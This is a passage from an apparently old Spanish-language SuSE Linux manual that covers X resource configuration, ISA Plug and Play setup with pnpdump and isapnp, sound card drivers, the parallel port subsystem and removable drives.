~/.Xresources. El `.' por delante del nombre indica que se trata de
un fichero escondido14.
Este fichero recibe entonces los ajustes personalizados, que le permiten in-
dicar p. ej., que todas las ventanas deben tener un fondo amarillo aparte de la
ventana principal, que debe salir en rojo.
Volviendo al ejemplo de arriba, existe la posibilidad de sobreescribir los
ajustes por defecto de los ficheros globales app-defaults con aquellos he-
chos en el fichero personal ~/.Xresources; p. ej. para que en su escritorio
(solo en el suyo!) la aplicacin xarchie se inicie con un fondo de color oro,
escriba la siguiente lnea en el fichero ~/.Xresources:
Xarchie.color*background: gold
No solo puede modificar los colores sino casi todas las propiedades de las
ventanas en su escritorio. Para ello existe un programa muy til que se llama
editres (ingl. edit resources) que permite visualizar y modificar los recursos
de una aplicacin.
A continuacin algunos ajustes a modo de ejemplo, que se pueden definir:
Xarchie.color*background: powder blue
Xarchie.color*SimpleMenu*background: wheat
Xarchie.color*Command*background: wheat
Xarchie.color*MenuButton*background: wheat
Xarchie.color*Text*background: wheat
Xarchie*font: 9x15
13 El fichero /usr/X11R6/lib/X11/rgb.txt contiene una lista con todos los colores vlidos
en el Sistema X Window.
14 Para ver tambin los ficheros escondidos, debe aadir la opcin -a al comando ls.

263
10. El Windowmanager La ventana a su PC

En principio se pueden modificar de esta manera casi todas las propiedades de


un programa para el Sistema X Window, pero en la realidad, los ajustes estn
generalmente limitados a los colores, las fuentes de caracteres y la geometra
(posicin y tamao) de la ventana.
La Manpage del programa o el correspondiente fichero en app-defaults
muestran por lo general las opciones disponibles.
El fichero /usr/X11R6/lib/X11/rgb.txt contiene los nombres de los
colores vlidos y los programas xfontsel y xlsfonts muestran las fuentes
disponibles.

Ajustes al inicio de la aplicacin


La tercera posibilidad para modificar la apariencia de una aplicacin es la de
pasar parmetros en el momento del inicio. Se pueden poner tambin estos
parmetros adentro del fichero de configuracin del WM, si es que inicia el
programa desde este fichero.
Por ejemplo, se puede iniciar explcitamente un programa usando un color
para los caracteres y otro para el fondo (bg = background, fg = foreground),
si el programa en cuestin lo soporta:
xterm -bg darkblue -fg white
El resultado de este comando es una Xterm azul con letras en blanco.

Cmo se realizan las nuevas configuraciones?


Los ajustes globales que afectan a todo el sistema se activan cuando el Sis-
tema X Window se inicia. El mismo servidor X administra estos ajustes en
un banco de datos de recursos (ingl. X Resource DataBase, xrdb). Para ac-
tivar los cambios en la configuracin global, es preciso cargar el banco de
datos de recursos nuevamente y a mano. Esto se lleva a cabo con el siguiente
comando:
tux@tierra: > xrdb ~/.Xresources
Cuando el servidor X se inicia, existe un determinado orden en el cual se
procesan los ajustes para las distintas aplicaciones.

 Primero se leen los ajustes globales para la aplicacin en cuestin desde


el fichero /usr/X11R6/lib/X11/app-defaults.
 Si tambin existen ajustes propios en el fichero ~/.Xresources de su
directorio de usuario, estos se superponen a los ajustes globales.
 La mxima prioridad la tienen los parmetros que se indican explcita-
mente en el momento de iniciar la aplicacin. Estos parmetros se pueden
indicar en la lnea de comandos o en el fichero de configuracin del WM.
El programa xrdb indica los ajustes momentneos:
tux@tierra: > xrdb -q
puede tener la siguiente respuesta:
emacs*geometry: 100x45-5-5
netscape.geometry: 610x760+140+30
xdvi*geometry: 720x895+250+5

264
10.6. Configuracin general del Sistema X Window

Finalmente un consejo prctico:

En el caso de que un programa no se modifique con los nuevos ajustes


(p. ej. otro juego de caracteres) aunque estos hayan sido realizados explci-
tamente en ~/.Xresources y se haya procesado de nuevo el banco de
datos de recursos, se debe comprobar entonces la coincidencia de mays-
culas y minsculas en los nombres de los widgets.

265
10. El Windowmanager La ventana a su PC

266
Parte V

Hardware bajo Linux

267
Captulo 11
Linux y el hardware adicional

11.1 Introduccin
Hoy en da es posible incorporar la mayora de los perifricos y hardware
adicional a un PC con Linux, con un esfuerzo que depende mucho del caso
concreto. Este captulo explica los detalles del cmo y menciona el soft-
ware a disposicin. El tema de la impresin ya fue tratado en el Captulo 12,
el de enviar Fax en el apartado 7.7 y el uso de RDSI en el apartado 7.2. El
hardware especial de los porttiles es tema del Captulo 5.

11.2 ISA Plug and Play-Hardware

Generalidades
Hace tiempo ya que existen tarjetas ISA PnP. PnP es la abreviacin para
Plug and Play1 . Lo que se pretende con este tipo de tarjetas es asignar
los recursos que necesita el sistema dinmicamente despus de encender la
computadora.
En el caso de placas base modernas, esto lo realiza la BIOS durante el ar-
ranque de la computadora, o bien, el sistema operativo se encarga de ello.
As se evitan en teora los conflictos entre dispositivos que podran provo-
car las tarjetas antiguas con sus parmetros fijos, ya que es la BIOS o el
sistema operativo el que se encarga de no asignar p. ej. la misma interrupcin
a dos dispositivos al mismo tiempo. Esto evitara una configuracin manual
mediante jumper, pero es solo la teora : : :

Configuracin:
En SuSE Linux las tarjetas ISA-PnP se inicializan por medio de los programas
pnpdump y isapnp.
pnpdump escanea todas las tarjetas ISA-PnP y enva las configuraciones
posibles (interrupciones, : : : ) a la salida estndar (ingl. stdout). Esta informa-
cin se desva a un fichero cuyo formato entiende isapnp. Posteriormente
isapnp inicializa las tarjetas ISA-PnP instaladas ya sea automticamente de-
spus de cada arranque, o bien, manualmente cuando el sistema est en mar-
cha.
1 Muchas veces y no siempre en broma, se denomina Plug and Pray.

269
11. Linux y el hardware adicional

Para aplicar los pasos que figuran a continuacin, se debe entrar al sis-
tema como superusuario (`root'). Un documento muy interesante con
informacin adicional es el ISA-PnP FAQ, el cual se encuentra p. ej. en
http://www.roestock.demon.co.uk/isapnptools/.
Si ya existe en el directorio /etc el fichero isapnp.conf, lo ms probable
es que sea el resultado de un intento de configuracin anterior. En este se
recomienda hacer primero un respaldo de este fichero:
tierra:/etc # cp /etc/isapnp.conf /etc/isapnp.conf.bak
Ejecute entonces pnpdump con la opcin -c y pase el resultado al fichero
/etc/isapnp.conf2:
tierra:/etc/ # /sbin/pnpdump -c > /etc/isapnp.conf
Las modificaciones en /etc/isapnp.conf no se activan antes del prximo
inicio de isapnp. Lo ms seguro y sencillo es reiniciar la computadora,
ya que la inicializacin mltiple de las tarjetas con isapnp puede presentar
problemas. Al arrancar la computadora, isapnp se inicia automticamente en
caso de que el fichero /etc/isapnp.conf exista3 . No obstante, si prefiere
ejecutar isapnp a mano, lo puede hacer con el siguiente comando:
tierra:/ # /sbin/isapnp /etc/isapnp.conf
Si todo va bien, se recibir despus del arranque o del inicio manual de
isapnp, un mensaje como el siguiente:
Board 1 has Identity e5 ff ff ff ff 70 00 8c 0e:
CTL0070 Serial No -1 [checksum e5]
CTL0070/-1[0]Audio :
Ports 0x220 0x330 0x388; IRQ5 DMA1 DMA5 --- Enabled OK
CTL0070/-1[1]Game :
Port 0x200; --- Enabled OK

Atencin: El hecho de que pnpdump encuentre las tarjetas ISA-PnP de


la computadora no significa que Linux las soporte!

Fuentes de error posibles


Problema: El mensaje de pnpdump es: "No boards found". Tambin es
posible que se reconozcan algunas pero no todas las tarjetas ISA-PnP.
Soluciones:

 En realidad no hay ninguna tarjeta ISA-PnP en la computadora. Se


debe comprobar cules tarjetas estn instaladas y tambin leer la doc-
umentacin que les corresponde. Para aclarar las dudas pregunte al
distribuidor de las tarjetas o de su computadora.
 La(s) tarjeta(s) son defectuosas; comprobar su correcto ajuste en las
ranuras y probar el funcionamiento de las mismas bajo otro sistema
operativo.
2 Tambin queda la posibilidad de modificar los recursos que fueron asignados a las tarjetas ISA-

PnP editando a mano /etc/isapnp.conf, pero esto es necesario solo en algunas ocasiones.
3 De ello se encarga el script /sbin/init.d/boot; ver tembin apartado 17.4, Pgina 384.

270
11.2. ISA Plug and Play-Hardware

 Hay tarjetas que se pueden usar como tarjetas ISA-PnP o con asig-
nacin fija de los recursos (as son algunas tarjetas Ethernet ISA
NE2000 de 10 Mbit/s). Generalmente existe un programa basado
en DOS que permite cambiar de modalidad. Segn la configuracin de
las tarjetas, stas no aparecen en el resultado de pnpdump.
 Algunas tarjetas ISA-PnP no se pueden usar junto con otras. En estos
casos, solo se ve una de ellas en el resultado de pnpdump. Para evitar
este problema se puede intentar desactivar la caracterstica PnP de una
tarjeta (p. ej. con un jumper directo sobre la tarjeta) y usarla as con
recursos fijos.
 Es posible que existan (en muy pocas ocasiones) tarjetas que se re-
setean despus de ejecutar pnpdump. Si la tarjeta en cuestin es la
controladora SCSI que conecta el disco duro con la particin raz, es-
to podra ocasionar el "cuelgue"de la computadora. Si ocurre esto, se
debe configurar la tarjeta de tal manera que deje de trabajar como dis-
positivo ISA-PnP (en el supuesto que la tarjeta lo soporte). Tal vez
se puede prescindir completamente de la inicializacin de la tarjeta ba-
jo Linux arrancando el sistema con loadlin, por lo cual la tarjeta ya
estara inicializada antes de entrar a Linux.
Problema: Al ejecutar el comando isapnp o al iniciar Linux aparece un
mensaje de error parecido al siguiente:
* LD setting failed, this may not be a problem.
* Try adding (VERIFYLD N) to the top of your script
*
* Error occured requested `LD2` on or around line 319
* --- further action aborted
Solucin: Siga el consejo del mensaje de error y aada al comienzo del
fichero /etc/isapnp.conf la siguiente lnea:
(VERIFYLD N)

o sea p. ej.:
# [...]
# (DEBUG)
(VERIFYLD N)
(READPORT 0x0203)
(ISOLATE)
(IDENTIFY *)
# [...]
Problema: Al ejecutar el comando isapnp o al iniciar Linux aparece un
mensaje de error parecido al siguiente:
[...]
/etc/isapnp.conf:66 --
Fatal - resource conflict allocating 16 bytes
of IO at 220 (see /etc/isapnp.conf)
/etc/isapnp.conf:66 -- Fatal - IO range check
attempted while device activated
/etc/isapnp.conf:66 -- Fatal - Error occurred
executing request '<IORESCHECK> ' --- further
action aborted

271
11. Linux y el hardware adicional

Solucin: Probablemente haya un conflicto entre los seleccionados en /etc/


isapnp.conf y los usados por la computadora. Coordine la informacin
sobre los recursos usados que se encuentran en /proc con la de /etc/
isapnp.conf; esto no es necesario si pnpdump se ha encargado de ello
usndolo con la opcin -c.

Algunas veces se pueden presentar problemas cuando la configuracin


automtica por parte de la BIOS est activada. En estos casos se debe
entrar al Setup de la BIOS para desactivarla ya que pnpdump e isapnp
se encargan de la configuracin automtica.

11.2.1 Reglas para los datos en /etc/isapnp.conf


En este apartado se explica brevemente la sintaxis del fichero /etc/isapnp.
conf.

Si se ha ejecutado pnpdump con la opcin -c y tampoco hay inters en


retocarlo manualmente, entonces se puede pasar por alto este apartado.

Puede visualizar el fichero con un Editor de su agrado, introduciendo p. ej.:


tierra:/etc/ # vi /etc/isapnp.conf
pnpdump muestra para cada tarjeta ISA-PnP una o varias posibilidades de
configuracin. La respuesta del comando comienza con una seccin que le
permite configurar algunos detalles generales de las tarjetas. Normalmente
se puede dejar esa seccin sin modificar, la cual se explica en la Manpage
correspondiente (man isapnp.conf). Por otra parte, no hay que perder los
nervios por una lnea como:
(CONFLICT (IO FATAL)(IRQ FATAL)(DMA FATAL)(MEM FATAL)) # or WARNING

ya que sta solo define las situaciones que llevan a un mensaje de error.
La entrada para una tarjeta comienza con una lnea del tipo:
# Card 1: (serial identifier e5 ff ff ff ff 70 00 8c 0e)

y termina con el comienzo de la entrada para la prxima tarjeta. Una tarjeta


puede reunir varias funciones como p. ej. una tarjeta de sonido que por lo gen-
eral combina la funcin de sonido con un puerto de Joystick, un MPU401
y un sintetizador. Una o varias de esas funciones en conjunto forman un dis-
positivo lgico (ingl. logical device); estos dispositivos se pueden considerar
bastante independientes. Fsicamente, un chip que reune varias funciones
puede formar un dispositivo lgico sobre una tarjeta; por este motivo, cada
entrada para una tarjeta en /etc/isapnp.conf, dispone de una sub-seccin
para cada dispositivo lgico.
Una sub-seccin para este tipo de dispositivo comienza con una lnea del tipo:
(CONFIGURE CTL0070/-1 (LD 0

y termina con la entrada

272
11.2. ISA Plug and Play-Hardware

(ACT Y)
))

Si se desea que el correspondiente dispositivo lgico se inicialice, no se debe


agregar ningn `#' por delante de `(ACT Y)'. Para deshabilitar la funcional-
idad correspondiente de la tarjeta, basta con cambiar simplemente la `Y' por
una `N'.
En la configuracin de un dispositivo lgico existen diferentes bloques que
se separan con lneas en blanco. Estos bloques representan las configura-
ciones alternativas para estos dispositivos. Solo se debe elegir uno de ellos
y adems, los smbolos de comentario frente a todas las entradas del bloque
que estn entre parntesis, deben ser borrados para que resulte algo como lo
siguiente:
(INT 0 (IRQ 5 (MODE +E)))

Las dems lneas son comentarios reales y se pueden quedar sin modificacin
(o se pueden segn se prefiera borrar completamente). Sin embargo, se re-
comienda leer los comentarios ya que a menudo representan una informacin
importante.
Si un dispositivo lgico debe usar p. ej. IRQ 7 en lugar de IRQ 5, para el
ejemplo anterior sera suficiente con cambiar el 5 por un 7.

Si se modifica manualmente la configuracin en /etc/isapnp.conf se


debe tener en cuenta no asignar ningn recurso ms de una vez. Tambin
se debe evitar asignar las interrupciones 2 y 9 juntas.

Para conocer los recursos que su sistema usa, utilice para el kernel de la serie
2.2 los siguientes comandos:
tierra:/ # cat /proc/interrupts
tierra:/ # cat /proc/ioports
tierra:/ # cat /proc/dma
Con estos comandos se visualizan las IRQs actualmente usadas, las direc-
ciones puerto y IO usadas y los canales DMA ocupados.
No obstante, hay recursos que no aparecen antes de tener los correspondientes
dispositivos en uso (p. ej. una disquetera que no est montada).

11.2.2 ISA-PnP y mdulos


Los mdulos pnpdump e isapnp permiten la inicializacin de tarjetas ISA-
PnP. La capacidad para inicializar la tarjeta es completamente independiente
del hecho que Linux la soporte o no, ya que es el driver el que realiza la
verdadera comunicacin entre Linux y la tarjeta. Antes de que cualquier
driver pueda comunicarse con la tarjeta, es absolutamente necesario que sta
se inicie con isapnp; este programa solo se puede ejecutar cuando el kernel
se ha cargado por completo y por tal motivo, los mdulos para las tarjetas
tampoco se pueden cargar antes. En concreto resulta que, los drivers para las
tarjetas solo pueden ser compilados como mdulos que se cargan despus de
la ejecucin de isapnp.

273
11. Linux y el hardware adicional

La mayora de los mdulos permiten indicar los recursos como parmetros a


la hora de ser iniciados (o anotarlos en el fichero /etc/conf.modules).
Un poco difcil en la configuracin de tarjetas ISA-PnP es la asignacin
de las direcciones de puerto, interrupciones y canales DMA (ofrecidos en
/etc/isapnp.conf) a las distintas funciones de la tarjeta. Aunque existen
algunas cadenas descriptivas stas no necesariamente identifican bien los
componentes de las tarjetas; en tales casos lo mejor es experimentar un poco.

11.3 Tarjetas de sonido

Si posee una tarjeta de sonido ISA, le recomendamos el driver 3.8.1z de la


distribucin (paquete oss, serie pay), gratis para los clientes de SuSE. Este
driver reconoce automticamente una gran variedad de tarjetas e inicializa
las tarjetas ISA-PnP. Por lo tanto no hace falta usar isapnp. Despus de
la instalacin del paquete se obtiene una lista de las tarjetas que soporta
3.8.1z, en el directorio /usr/doc/packages/oss. El driver comercial
ms nuevo de 4front (OSS 3.9.x) soporta muchas tarjetas del tipo PCI que
actualmente no estn soportadas por los mdulos del kernel (ms adelante
hay informacin ampliada al respecto).

11.3.1 Open Sound System (OSS)


Si se presentan problemas en la reproduccin del sonido bajo Linux, queda
la posibilidad de usar el software comercial OSS Soundsystem de 4front.
El uso de este driver es la nica va para hacer funcionar bajo Linux muchas
tarjetas de sonido modernas. Adems, se evita el problema de la inicializacin
de tarjetas ISA-PnP ya que OSS se encarga de ello. La plena funcionalidad de
muchas tarjetas compatibles a Soundblaster solo se consigue con el driver
de OSS. Hay dos versiones de OSS interesantes:

 En la pgina web de 4front http://www.opensound.com se puede


obtener una demostracin temporal de la ltima versin de OSS. Tanto
SuSE como 4front mismo otorgan la licencia de uso ilimitado. Aparte
de la mayora de los dispositivos ISA, este driver soporta tambin un
gran nmero de tarjetas de sonidos del tipo PCI; esta pgina web in-
forma tambin sobre las tarjetas soportadas. Nuestra pgina web http:
//www.suse.de/linux.html contiene tambin mucha informacin so-
bre OSS. Los CDs de SuSE Linux incorporan la ltima version de de-
mostracin existente en el momento de edicin de los mismos (paquete
ossdemo, serie pay).
 Contiene tambin una versin ms antigua y gratuita, sin lmite de tiempo
(OSS 3.8.1z, paquete oss, serie pay). Esta versin sirve para muchas de
las tarjetas de mayor difusin, prubela!

Despus de la instalacin de oss o ossdemo quedan por ejecutar (como


superusuario `root') los programas de configuracin contenidos en /tmp/
osslinux-xxx/, los cuales se deben iniciar indicando la rama completa. Por
ejemplo para OSS 3.8.1z:

274
11.3. Tarjetas de sonido

tierra:/ # /tmp/osslinux-3.8.1zoss-install
Siga las instrucciones de este programa de configuracin.
Las instrucciones para el uso y la configuracin se encuentran, despus de la
instalacin del driver, en el fichero README.SuSE del directorio /usr/doc/
packages/ossdemo o /usr/doc/packages/oss.
Si la configuracin de la tarjeta de sonido con OSS fuera exitosa, se puede
tambin automatizar el inicio del driver incorporando el siguiente comando:

/usr/lib/oss/soundon

al fichero /sbin/init.d/boot.local4.

Se debe tener en cuenta que la versin OSS 3.8.1z es un producto com-


ercial que resulta gratuito por el hecho de haber comprado una versin
de SuSE-Linux, pero tiene las mismas restricciones de otros programas
comerciales en cuanto a copias y su uso en varias computadoras. Tampoco
es permitido ofrecer el paquete en servidores FTP o por otras vas para
su libre descarga. La versin de demostracin de OSS del CD tiene unas
restricciones parecidas. Para obtener mayor informacin sobre los corre-
spondientes contratos de licencia, consulte despus de la instalacin, el
directorio de instalacin de OSS (/usr/ lib/ oss ). La configuracin y
el uso del driver demuestran su conformidad con las condiciones de la
licencia!

11.3.2 Mdulos del kernel

Para usar los mdulos del kernel en lugar de OSS siga las instrucciones que
figuran a continuacin.
En este apartado se distingue entre tarjetas de sonido ISA con configuracin
fija (normalmente mediante jumpers), tarjetas ISA-PnP y PCI. Estas tambin
estn integrados en la placa base (ingl. onboard), pero como estn conectados
al bus al igual que las tarjetas normales la configuracin es idntica.
Existen tarjetas que se pueden usar en modo ISA-PnP tal como en modo ISA
con parmetros fijos.

Preparativos

Si se posee una tarjeta de sonido ISA, hay que asegurarse primero de tener el
paquete isapnp (serie ap) y el paquete lx_suse (serie d) instalados.
Se configura la tarjeta tal como se ha detallado en el apartado 11.2 o en
caso de tarjetas antiguas se averiguan los parmetros correspondientes. Por
lo general, el driver reconoce los recursos de las tarjetas PCI (en caso de ser
soportadas).

4 En el supuesto de que se haya instalado OSS en el directorio /usr/lib/oss.

275
11. Linux y el hardware adicional

Carga de los mdulos:


El soporte de la tarjeta de sonido se activa en el momento de cargar los
mdulos correspondientes. SuSE Linux trae mdulos precompilados para
las tarjetas que soporta el kernel, los cuales se encuentran en el paquete
kernmod. Despus de instalar las fuentes del kernel (paquete lx_suse) el di-
rectorio /usr/src/linux/Documentation/sound contendr informacin
acerca de los mdulos.
Si se posee p. ej. una tarjeta de la familia de las Soundblaster 16, el comando
de la siguiente lnea sirve para cargar los drivers para todas las funciones de
la tarjeta (audio, MPU401 y sintetizador):
tierra:/ # modprobe sb io=0x0220 irq=5 dma=1 dma16=5 mpu_io=0x0330
El comando carga el driver para la Soundblaster 16, que se puede usar tambin
para la AWE64. El driver para el MPU401 forma parte del driver de la Sound-
blaster. Posteriormente se cargan automticamente los mdulos uart401,
sound, soundlow y soundcore. Estos mdulos representan algunos drivers
de bajo nivel y contienen las funciones comunes de todos los mdulos de
sonido. El siguiente comando,
tierra:/ # lsmod
permite verificar si todos los mdulos estn realmente cargados. El siguiente
comando carga el mdulo para el sintetizador que incluye la tarjeta:
tierra:/ # modprobe adlib_card io=0x0388
Los drivers actualmente disponibles se muestran en la Tabla 11.1, Pgina 277.
En el captulo sobre los parmetros del kernel (apartado 14.3.4) hay una lista
de los parmetros admitidos para cada mdulo.

Comprobar que todo funcione:


Todos los mdulos estn cargados y ahora se quiere comprobar si realmente
se reproduce el sonido. Para ello se usa el siguiente comando (despus de la
carga del mdulo de sonido):
tierra:/ # cat /dev/sndstat
En el caso de la Soundblaster 16 el resultado se debe parecer al Mensaje en
pantalla 11.3.1.
Si realmente se obtiene una respuesta semejante, se puede intentar reproducir
un fichero de audio (hay algunos de estos ficheros p. ej. en la serie snd del
paquete snd_au, paquete snd_wav y paquete snd_mod):
tierra:/ # cat /usr/share/sounds/au/swedish.au > /dev/audio
tierra:/ # cat /usr/share/sounds/wav/applause.wav > /dev/dsp
tierra:/ # tracker /usr/share/sounds/mod/rebels.mod
El programa kmid de KDE permite reproducir cmodamente ficheros del tipo
Midi, en caso de que la tarjeta lo soporte.
Si no se escucha nada, aunque cat /dev/sndstat da un resultado correcto
y cat mysong.au > /dev/audio no presenta ningn error, se puede pro-
bar de iniciar el mezclador de audio del panel de KDE; tambin es posible
que el volumen est un poco bajo.

276
11.3. Tarjetas de sonido

ad1816.o AD1816 Chip (p. ej. Terratec Base1/64)


ad1848.o AD1848 Chip (MSS)
adlib_card.o Driver genrico para OPLx
cs4232.o Crystal 423x chipsets
es1370.o Ensoniq 1370 chipset (ver PCI64/128)
es1371.o Creative Ensoniq 1371 chipset (ver PCI64/128)
gus.o Gravis Ultrasound
mad16.o MAD16
maui.o Turtle Beach Maui and Tropez
mpu401.o MPU401
msnd.o Turtle Beach MultiSound
msnd_classic.o Turtle Beach Classic/Monterey/Tahiti
msnd_pinnacle.o Turtle Beach Pinnacle/Fiji
opl3.o OPL3
opl3sa.o OPL3-SA1
opl3sa2.o YMF711, YMF715, YMF719, OPL3-SA2,
OPL3-SA3, OPL3-SAx
pas2.o Pro Audio Spectrum
pss.o Personal Sound System (ECHO ESC614)
sb.o Sound Blaster y clnicos
sgalaxy.o Aztech Sound Galaxy
softoss2.o Driver de Software-MIDI-sintetizador
sonicvibes.o S3 Sonic Vibes
sound.o Funciones necesarias para todos los mdulos
soundlow.o Lowlevel-sounddriver
soundcore.o Top Level-Handler para sistema de sonido
sscape.o Ensoniq SoundScape
trix.o MediaTrix AudioTrix Pro
uart401.o UART401
uart6850.o UART6850
v_midi.o Sound Blaster DSP chips
wavefront.o Turtle Beach Maui, Tropez, Tropez Plus

Tabla 11.1: Lista de los drivers para tarjetas de sonido

Carga automtica de los mdulos de kernel

Si no hay duda en que los drivers existentes soportan completamente la tarje-


ta, se puede proceder a modificar el fichero /etc/conf.modules, para que
los mdulos se carguen automticamente. Para la Soundblaster 16 se tendra
que poner p. ej. las entradas que figuran en el Fichero 11.3.1, Pgina 278.
En general no hay ninguna regla que diga cul tarjeta de sonido tiene cul
funcin, por lo tanto se debe averiguar esto en la documentacin de la tarje-
ta y con la informacin en /usr/src/linux/Documentation/sound para
saber cules mdulos hace falta cargar. Las fuentes de los drivers en /usr/
src/linux/drivers/sound contienen muchos consejos y actualmente ex-

277
11. Linux y el hardware adicional

[...]
Audio devices:
0: Sound Blaster 16 (4.13) (DUPLEX)
Synth devices:
0: Yamaha OPL3
Midi devices:
0: Sound Blaster 16
Timers:
0: System clock
Mixers:
0: Sound Blaster

Mensaje en pantalla 11.3.1: Resultado del comando cat /dev/sndstat

# alias char-major-14 off


# alias sound off
# alias midi off

alias char-major-14 sb
post-install sb /sbin/modprobe "-k" "adlib_card"
options sb io=0x0220 irq=7 dma=1 dma16=5 mpu_io=0x0330
options adlib_card io=0x0388 # FM synthesizer

Fichero 11.3.1: /etc/conf.modules: Opciones para mdulos de sonido

isten muchas entradas predefinidas en /etc/conf.modules que se pueden


usar y adaptar.
En lugar de cargar los mdulos mediante /etc/conf.modules, se pueden
cargar tambin incorporando los comandos modprobe en el fichero /sbin/
init.d/boot.local (ver apartado 17.4, Pgina 384).

11.4 El puerto paralelo: El sub-sistema parport


El sub-sistema Parport del kernel actual versin 2.2.xx, est diseado para
utilizar varios dispositivos simultneamente en el puerto paralelo5. Una apli-
cacin es p. ej. una cadena formada por una unidad iomega ZIP y una impre-
sora, con la impresora conectada al ZIP.

Inicializar parport
Se necesitan los soportes parport y parport_pc del kernel6. El verdadero
sub-sistema del kernel es parport, mientras que parport_pc se encarga de
5
Con el kernel antiguo se puede usar solo un dispositivo exclusivamente en un puerto paralelo;
normalmente tampoco se pueden colocar los dispositivos en cadena.
6 No hace falta compilar un kernel propio, ya que SuSE Linux incorpora los mdulos precom-

pilados!

278
11.4. El puerto paralelo: El sub-sistema parport

la integracin del puerto paralelo en el PC, encargndose tambin de algunas


computadoras AXP. El comando
tierra: # modprobe parport_pc
permite cargar los mdulos manualmente. Para comprobar si el puerto fue
encontrado y configurado, use el comando lsmod; en la lista de los mdu-
los cargados deben aparecer parport y parport_pc. Tambin es posible
repasar el fichero /var/log/messages para ver los valores con los que se
inicializ parport (ver Fichero 11.4.1, Pgina 279).

Jun 3 09:15:53 tux kernel: parport0: PC-style at 0x378 [SPP,


ECP]

Fichero 11.4.1: /var/log/messages: parport-Initialisierung

Las entradas en el Fichero 11.4.2, Pgina 279, representan la configuracin de


la interfaz; las entradas deshabilitadas por el smbolo de comentario indican
cmo incorporar un puerto paralelo adicional.

alias parport_lowlevel parport_pc


options parport_pc io=0x378 irq=none

# If you have multiple parallel ports, specify them this way:


# options parport_pc io=0x378,0x278 irq=none,none

Fichero 11.4.2: /etc/conf.modules: Configuracin de parport

Si se presenta alguna dificultad lo mejor es comprobar primero cmo est


definido el puerto en la BIOS. Este debera tener una direccin de memoria
(lo mejor es 0x378) explcita y una interrupcin propia. En lo posible se
deben evitar ajustes del tipo auto.

Algunas veces es importante el orden en el cual se encienden los dispositivos


(consultar los manuales de los aparatos). Un buen procedimiento es el de
encender primero la computadora e inmediatamente despus antes de que
comience el arranque los dispositivos externos.

Usar parport: Impresora, unidad ZIP, PLIP etc.


Para usar entonces un dispositivo conectado al puerto paralelo, es preciso
cargar el mdulo correspondiente; en el caso de la impresora es el mdulo
lp:
tierra: # modprobe lp
Ahora el comando lsmod debera resultar como aparece en Mensaje en pan-
talla 11.4.1
Tambin para la carga de los mdulos es posible conseguir ms informacin
mediante las entradas en el fichero /var/log/messages y en el sistema de

279
11. Linux y el hardware adicional

parport_pc 5568 1 (autoclean)


parport 6884 1 [parport_pc lp]
lp 5116 0 (unused)

Mensaje en pantalla 11.4.1: Resultado del comando lsmod.

ficheros proc bajo /proc/parport. Si todo funciona correctamente, kmod


(ver el apartado 13.2, Pgina 311) se ocupa de cargar automticamente los
mdulos, p. ej. cuando se lanza una tarea de impresin, as que no hace falta
cargarlos manualmente.
Las unidades iomega-ZIP funcionan ya sea con el mdulo ppa o bien con imm
(ver el apartado 11.6.4, Pgina 281).

Informacin adicional
Los ficheros parport.txt y paride.txt del directorio /usr/src/linux/
Documentation en las fuentes del kernel ofrecen ms informacin al respec-
to.
Bajo http://www.torque.net/linux-pp.html o http://www.torque.
net/parport/, hay informacin sobre el estado actual del parport.

11.5 USB Universal Serial Bus


Desde la versin 2.2.7 del kernel, se han dado oficialmente los primeros
pasos para incorporar soporte USB, sin embargo, este cdigo no est activado
actualmente.
Se puede consultar en las fuentes del kernel los ficheros del directorio /usr/
src/linux/drivers/usb.
En http://www.linux-usb.org, hay informacin sobre el estado actual
del soporte USB.

280
11.6. Unidades de almacenamiento reescribibles

11.6 Unidades de almacenamiento reescribibles


11.6.1 Generalidades
Con Linux se pueden usar muchas unidades de disco removibles: Dis-
queteras, Unidades iomega-Zip, JAZ-Drives, discos SyQuest, unidades
magneto-pticas todo es posible.

11.6.2 Disqueteras
El kernel necesita Floppy-Support para que se pueda acceder a las dis-
queteras.
Las mtools permiten el acceso directo a los disquetes de MS-DOS (ver aparta-
do 19.12, Pgina 430), pero lo ms usual en Linux es usar ext2 o minix
como sistema de ficheros para disquetes. Estos disquetes se montan con los
tpicos mecanismos conocidos (ver el apartado 19.11, Pgina 427).

11.6.3 Disquetera LS 120


Las disqueteras LS 120 son dispositivos del tipo ATAPI y al estar soportadas
por el driver IDE, se integran al sistema de ficheros tal como los discos duros
(E)IDE, mediante el proceso normal de montaje (mount).

11.6.4 Disqueteras ZIP


Hay disqueteras ZIP para distintas interfaces: Puerto paralelo, ATAPI, SCSI
y ahora tambin USB (este ltimo an no tiene soporte).
Para las versiones con interfaz ATAPI se ratifica lo expuesto en el aparta-
do 11.6.3 y para las versiones SCSI lo expuesto en el apartado 11.6.5.
La inicializacin del mismo aparato con interfaz de puerto paralelo a veces
resulta poco ms complicada, ya que se necesita el soporte de discos duros
SCSI, el soporte parport y parport_pc (ver el apartado 11.4, Pgina 278)
tal como los drivers de kernel ppa y imm7 . imm soporta las unidades ms
recientes (p. ej. el ZIP 250), por lo tanto es preferible tratar de cargar primero
imm:
tierra: # modprobe imm
Si esto no funcionara, se puede probar con ppa:
tierra: # modprobe ppa
De esta forma el sub-sistema parport debera inicializarse automticamente.
Si no funciona, consulte primero el apartado 11.4, Pgina 278.
A veces una entrada en /etc/conf.modules es suficiente para que todo fun-
cione (ver Fichero 11.6.1, Pgina 282). Solo se puede definir un alias para
scsi_hostadapter si la computadora no tiene ninguna controladora SC-
SI real. Una alternativa sera incorporar los comandos modprobe necesarios
en el script de arranque /sbin/init.d/boot.local (ver el apartado 17.4,
Pgina 384).
7 ppa y imm forman parte de los SCSI low-level drivers en el men de configuracin del

kernel, sin embargo no hace falta generar un kernel propio, ya que los mdulos necesarios estn
precompilados como parte de SuSE Linux.

281
11. Linux y el hardware adicional

# alias scsi_hostadapter ppa


pre-install ppa modprobe "-k" parport_pc

Fichero 11.6.1: /etc/conf.modules: ppa-Konfiguration

Ahora se puede acceder a los disquetes ZIP como a discos duros SCSI, por lo
que tambin es necesario montar este medio (ver el apartado 19.11.2, Pgi-
na 429).

11.6.5 Unidades SCSI con disco removible


Las unidades magneto-pticas, discos SyQuest, las unidades ZIP y JAZ con
conexin SCSI y los dems dispositivos que se pueden conectar a una con-
troladora SCSI, se tratan igual que los discos duros del tipo SCSI.

282
11.7. Escner

11.7 Escner
Generalidades
Ya hay software y drivers para acceder a los escneres bajo Linux. Si se desea
trabajar con este software, el escner debe estar conectado a la controladora
SCSI y se debera evitar el uso de las tarjetas controladoras propietarias que
se suministran junto con el escner.

Hardware: Escneres planos, cmaras, alimentacin automtica : : :


Para usar exitosamente un escner bajo Linux, es necesario tener el corre-
spondiente soporte por parte del kernel tal como el fichero de acceso al dis-
